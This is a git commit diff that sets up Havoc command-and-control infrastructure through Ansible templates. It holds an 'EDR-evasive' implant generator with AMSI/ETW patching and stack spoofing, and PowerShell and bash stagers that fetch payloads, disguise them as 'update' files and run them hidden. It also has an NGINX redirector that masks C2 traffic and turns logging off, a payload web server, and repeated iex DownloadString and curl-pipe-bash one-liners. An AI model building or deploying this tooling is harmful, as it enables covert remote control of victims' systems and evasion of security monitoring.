Switching to Havoc C2
This commit is contained in:
n0mad1k
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#!/bin/bash
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# EDR-evasive payload generator for Havoc C2
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# Configuration (automatically populated by Ansible)
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PAYLOADS_DIR="/root/Tools/havoc/payloads"
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C2_HOST="{{ ansible_host }}"
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REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
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REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
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TEAMSERVER_HOST="127.0.0.1"
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TEAMSERVER_PORT="40056"
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HAVOC_DIR="/root/Tools/havoc"
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HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
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# Ensure required directories exist
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mkdir -p $PAYLOADS_DIR/windows
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mkdir -p $PAYLOADS_DIR/linux
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mkdir -p $PAYLOADS_DIR/staged
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# Generate unique random values for each execution
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random_string() {
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cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
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}
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# Define Havoc profiles for different payloads
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generate_profiles() {
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echo "[+] Generating Havoc C2 profiles..."
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# Profile for Windows EXE
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cat > $PAYLOADS_DIR/win_exe.profile << EOF
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{
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"Listener": "https",
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"Demon": {
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"Sleep": 5,
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"SleepJitter": 30,
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"IndirectSyscalls": true,
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"Inject": {
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"AllocationMethod": 0,
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"ExecutionMethod": 0,
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"ExecuteOptions": 0
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},
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"Evasion": {
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"StackSpoofing": true,
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"SleazeUnhook": true,
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"AmsiEtwPatching": true
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},
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"Formats": [
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"Binary",
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"Shellcode"
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]
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}
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}
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EOF
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# Profile for Linux ELF
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cat > $PAYLOADS_DIR/linux_elf.profile << EOF
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{
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"Listener": "https",
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"Demon": {
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"Sleep": 5,
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"SleepJitter": 30,
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"Injection": {
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"SpawnMethod": 1,
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"AllocationMethod": 1
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},
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"Formats": [
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"Binary",
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"Shellcode"
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]
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}
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}
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EOF
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echo "[+] Profiles created successfully"
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}
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# Generate Havoc payloads with CLI arguments
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generate_payloads() {
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echo "[+] Generating Havoc payloads..."
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# Windows EXE
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win_output="agent_win_$(random_string 8).exe"
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echo "[+] Generating Windows payload: $win_output"
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$HAVOC_CLIENT headless \
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--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
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--username "admin" \
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--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$PAYLOADS_DIR/win_exe.profile" \
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--format exe \
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--output "$PAYLOADS_DIR/windows/$win_output" \
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> /dev/null 2>&1
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# Windows DLL
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dll_output="module_$(random_string 8).dll"
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echo "[+] Generating Windows DLL: $dll_output"
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$HAVOC_CLIENT headless \
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--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
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--username "admin" \
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--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$PAYLOADS_DIR/win_exe.profile" \
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--format dll \
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--output "$PAYLOADS_DIR/windows/$dll_output" \
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> /dev/null 2>&1
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# Linux ELF
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linux_output="agent_linux_$(random_string 8)"
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echo "[+] Generating Linux payload: $linux_output"
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$HAVOC_CLIENT headless \
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--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
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--username "admin" \
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--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
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--daemon \
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--generate payload \
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--listener "https" \
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--config "$PAYLOADS_DIR/linux_elf.profile" \
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--format elf \
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--output "$PAYLOADS_DIR/linux/$linux_output" \
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> /dev/null 2>&1
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echo "[+] All payloads generated successfully!"
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# Return payload names for reference
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echo "$win_output:$dll_output:$linux_output"
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}
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# Generate PowerShell and bash stagers
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generate_stagers() {
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win_output=$1
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linux_output=$2
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echo "[+] Generating stagers..."
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# PowerShell stager
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cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
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# PowerShell stager for Havoc C2
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[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
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\$ErrorActionPreference = 'SilentlyContinue'
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\$wc = New-Object System.Net.WebClient
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\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
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\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
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\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
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\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
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\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
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try {
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\$wc.DownloadFile(\$url, \$outpath)
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Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
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Start-Process -WindowStyle Hidden -FilePath \$outpath
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} catch {
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# Fail silently
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}
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EOF
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# Bash stager
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cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
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#!/bin/bash
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# Linux download and execute Havoc beacon
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# Download binary to /tmp with random name
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TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
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curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
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chmod +x \$TMPFILE
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# Execute in background
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\$TMPFILE &
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echo "Update complete."
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EOF
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chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
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echo "[+] Stagers generated successfully"
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}
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# Create manifest file
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create_manifest() {
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payload_info=$1
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win_output=$(echo $payload_info | cut -d':' -f1)
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dll_output=$(echo $payload_info | cut -d':' -f2)
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linux_output=$(echo $payload_info | cut -d':' -f3)
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cat > $PAYLOADS_DIR/manifest.json << EOF
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{
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"windows_exe": "$win_output",
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"windows_dll": "$dll_output",
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"linux_binary": "$linux_output",
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"redirector_host": "$REDIRECTOR_HOST",
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"redirector_port": "$REDIRECTOR_PORT",
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"c2_host": "$C2_HOST",
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"generated_date": "$(date)"
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}
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EOF
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echo "[+] Manifest created successfully"
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}
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# Create reference file
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create_reference() {
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payload_info=$1
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win_output=$(echo $payload_info | cut -d':' -f1)
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dll_output=$(echo $payload_info | cut -d':' -f2)
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linux_output=$(echo $payload_info | cut -d':' -f3)
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cat > $PAYLOADS_DIR/reference.txt << EOF
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Havoc C2 Server Details:
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- C2 IP: $C2_HOST
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- Redirector Domain: $REDIRECTOR_HOST
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Payloads Generated ($(date)):
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- Windows EXE: $win_output
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- Windows DLL: $dll_output
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- Linux Binary: $linux_output
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Usage:
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1. Ensure your redirector is properly configured to forward requests to the C2 server
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2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
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3. Test connectivity before deployment in target environment
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Payload deployment:
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- PowerShell:
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powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
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- Linux:
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curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
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EOF
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echo "[+] Reference file created successfully"
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}
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# Main execution flow
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echo "[+] Starting Havoc C2 payload generation..."
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echo "[+] Redirector: $REDIRECTOR_HOST"
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echo "[+] C2 Host: $C2_HOST"
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# Create stagers directory
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mkdir -p $PAYLOADS_DIR/stagers
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# Generate profiles
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generate_profiles
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# Generate payloads
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payload_info=$(generate_payloads)
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# Generate stagers
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generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
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# Create manifest
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create_manifest "$payload_info"
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# Create reference
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create_reference "$payload_info"
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echo "[+] Havoc payload generation complete!"
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@@ -0,0 +1,77 @@
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HAVOC C2 OPERATIONS GUIDE
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==========================
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This guide provides information on using the Havoc C2 framework deployed on
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your infrastructure.
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SERVER INFORMATION
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-----------------
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C2 Server IP: {{ c2_ip }}
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Redirector Domain: {{ redirector_domain }}
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Teamserver Port: 40056
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Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
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CONNECTING TO THE TEAMSERVER
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---------------------------
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From your local machine, you should:
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1. Make sure Havoc client is installed on your operator system
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2. Connect to the Teamserver:
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- Host: {{ c2_ip }}
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- Port: 40056
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- User: admin
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- Password: See /opt/havoc/data/profiles/default.yaotl
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Note: You can use the team server CLI with:
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$ havoc-teamserver client --username admin --password Your_Password
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LISTENERS
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--------
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Two default listeners are configured:
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- HTTP on port 8080
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- HTTPS on port 443 (through the redirector)
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You can view and manage listeners through the Havoc client.
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GENERATING PAYLOADS
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-----------------
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Pre-generated payloads are available in:
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- /opt/havoc/payloads/
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For new payloads:
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1. Connect to the Teamserver using the Havoc client
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2. Navigate to Attack → Payload
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3. Choose your payload options and generate
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PAYLOAD DELIVERY
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--------------
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Payloads can be delivered through:
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- HTTP server at {{ c2_ip }}:8443
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- Through the redirector at {{ redirector_domain }}
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PowerShell one-liner:
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powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
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Linux one-liner:
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curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
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OPERATIONAL SECURITY
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------------------
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- All connections go through the redirector
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- Sleep times of agents are randomized (5s default with 30% jitter)
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- Havoc is configured with numerous EDR evasion features
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- Anti-forensics measures are enabled in all payloads
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TROUBLESHOOTING
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--------------
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1. If agents can't connect:
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- Verify DNS for {{ redirector_domain }} points to your redirector
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- Check NGINX configuration on the redirector
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- Ensure ports 8080 and 443 are open on respective servers
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2. If Havoc Teamserver isn't responding:
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- Check service status: systemctl status havoc
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- View logs: journalctl -u havoc
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- Restart if needed: systemctl restart havoc
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3. Use the health command in Havoc client to check Teamserver health
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@@ -0,0 +1,105 @@
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server {
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listen 80;
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listen [::]:80;
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server_name {{ redirector_domain }};
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# Redirect to HTTPS
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return 301 https://$host$request_uri;
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}
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server {
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listen 443 ssl;
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listen [::]:443 ssl;
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server_name {{ redirector_domain }};
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# SSL Configuration
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ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
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ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
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ssl_protocols TLSv1.2 TLSv1.3;
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ssl_prefer_server_ciphers on;
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ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
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ssl_session_timeout 1d;
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ssl_session_cache shared:SSL:10m;
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# Root directory
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root /var/www/html;
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index index.html;
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# Primary location for legitimate website traffic
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location / {
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try_files $uri $uri/ =404;
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}
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# Havoc C2 HTTP listener paths
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location ~ ^/api/v[12]/ {
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proxy_pass http://{{ c2_ip }}:8080;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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}
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# Havoc C2 HTTPS listener paths
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location ~ ^/(dashboard|content)/ {
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proxy_pass https://{{ c2_ip }}:443;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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proxy_ssl_verify off;
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}
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# Payload stager paths
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location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
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proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Payload content paths
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location ~ ^/content/(windows|linux)/(.+)$ {
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proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Security headers
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add_header X-Content-Type-Options "nosniff" always;
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add_header X-Frame-Options "SAMEORIGIN" always;
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add_header X-XSS-Protection "1; mode=block" always;
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add_header Referrer-Policy "no-referrer" always;
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add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
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# Disable logging for this server block if zero-logs is enabled
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{% if zero_logs | default(true) | bool %}
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access_log off;
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error_log /dev/null crit;
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{% endif %}
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}
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# Catch-all server block to respond to unknown hosts
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server {
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listen 80 default_server;
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listen [::]:80 default_server;
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listen 443 ssl default_server;
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listen [::]:443 ssl default_server;
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# Self-signed cert for catch-all
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ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
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ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
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# Redirect all unknown traffic to a legitimate-looking site
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return 301 https://www.google.com;
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# Disable logs
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access_log off;
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error_log /dev/null crit;
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}
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@@ -0,0 +1,134 @@
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#!/bin/bash
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# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
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# Configuration
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PAYLOADS_DIR="/root/Tools/havoc/payloads"
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C2_HOST="{{ ansible_host }}"
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LISTEN_PORT=8443
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# Check if manifest file exists (created by generate_havoc_payloads.sh)
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if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
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echo "[+] Found payload manifest file - using Havoc payloads generated previously"
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# Extract payload paths from manifest
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WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
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WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
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LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
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# Print payload info
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echo "[+] Using these Havoc payloads:"
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echo " - Windows EXE: $WIN_EXE"
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echo " - Windows DLL: $WIN_DLL"
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echo " - Linux Binary: $LINUX_BIN"
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else
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echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
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echo "[!] Will search for payloads in $PAYLOADS_DIR..."
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# Try to find payloads directly
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||||
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||
|
||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract just the filenames
|
||||
WIN_EXE=$(basename "$WIN_EXE")
|
||||
WIN_DLL=$(basename "$WIN_DLL")
|
||||
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||
fi
|
||||
|
||||
# Create temporary directory for web server
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
mkdir -p $TEMP_DIR/content/windows
|
||||
mkdir -p $TEMP_DIR/content/linux
|
||||
mkdir -p $TEMP_DIR/scripts
|
||||
|
||||
# Copy payloads to web directory
|
||||
if [ -n "$WIN_EXE" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||
fi
|
||||
|
||||
if [ -n "$WIN_DLL" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||
fi
|
||||
|
||||
if [ -n "$LINUX_BIN" ]; then
|
||||
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||
fi
|
||||
|
||||
# Copy stagers if they exist
|
||||
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||
echo "[+] Serving Windows PowerShell stager"
|
||||
fi
|
||||
|
||||
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||
echo "[+] Serving Linux bash stager"
|
||||
fi
|
||||
|
||||
# Create helpful index page
|
||||
cat > $TEMP_DIR/index.html << EOL
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Havoc C2 Payload Downloads</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||
.warning { color: #a00; font-weight: bold; }
|
||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Havoc C2 Payload Downloads</h1>
|
||||
<div class="section">
|
||||
<h2>Available Payloads</h2>
|
||||
<ul>
|
||||
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Auto-Download Scripts</h2>
|
||||
<ul>
|
||||
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Quick Commands</h2>
|
||||
<p>Windows PowerShell:</p>
|
||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||
<p>Linux Bash:</p>
|
||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOL
|
||||
|
||||
# Start Python HTTP server in background
|
||||
cd $TEMP_DIR
|
||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||
SERVER_PID=$!
|
||||
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||
|
||||
# Print useful information for the operator
|
||||
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||
echo "[+] Available payloads:"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||
echo ""
|
||||
echo "[+] Quick PowerShell download command:"
|
||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||
echo ""
|
||||
echo "[+] Quick Linux download command:"
|
||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||
Reference in New Issue
Block a user